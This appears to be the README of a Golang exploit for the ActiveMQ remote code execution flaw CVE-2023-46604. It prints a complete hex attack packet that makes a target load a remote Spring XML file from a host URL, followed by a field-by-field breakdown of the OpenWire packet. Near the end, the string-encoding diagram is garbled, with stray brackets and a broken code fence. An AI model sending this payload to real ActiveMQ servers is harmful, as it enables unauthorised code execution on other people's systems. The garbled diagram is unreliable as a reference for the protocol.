# ActiveMQ-RCE

ActiveMQ RCE (CVE-2023-46604) exploit, written in Golang

Some detailed analysis reports

## OpenWire Protocol Analysis

Refer to the official documentation and Wireshark for a simple analysis of the OpenWire Protocol

[https://activemq.apache.org/openwire-version-2-specification](https://activemq.apache.org/openwire-version-2-specification)

A simple ActiveMQ RCE packet is as follows

```
000000701f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383030302f706f632e786d6c
```

We can divide it into two parts: header and body

header

```
+----------------------------------------------------------------------------------+
| Packet Length | Command | Command Id | Command response required | CorrelationId |
|---------------|---------|------------|---------------------------|---------------|
|   00000070    |   1f    |  00000000  |          00               |   00000000    |
+----------------------------------------------------------------------------------+
```

Packet Length: length of body part / 2

Command: Command Type Identifier, `1f` corresponds to ExceptionResponse

Command Id: As the name suggests. Here we fill it with zero

Command response required: whether a response is required

CorrelationId: As the name suggests. Here we fill it with zero

body

```
+--------------------------------------------------------------------------------------+
| not-null | not-null | classname-size | classname | not-null | message-size | message |
|----------|----------|----------------|-----------|----------|--------------|---------|
|    01    |    01    |      0042      |   .....   |    01    |     001d     |  .....  |
+--------------------------------------------------------------------------------------+
```

The `not-null` at the beginning is `01`, which means that the entire body part is not empty, and every three parts after that represent a String type

`not-null` means that the string `classname` is not empty, and then follow its length and hex content. The same goes for `message`.

You can refer to the schematic diagram given in the official document.

String Type Encoding

| byte     | [ | short | size octects   | ]

             [                               [           [============================================] ] ]
             [                               [==========================================================] ]
             [============================================================================================]

```

If you just want to simply detect whether there is a vulnerability, you can change the spring xml url to the dnslog address.
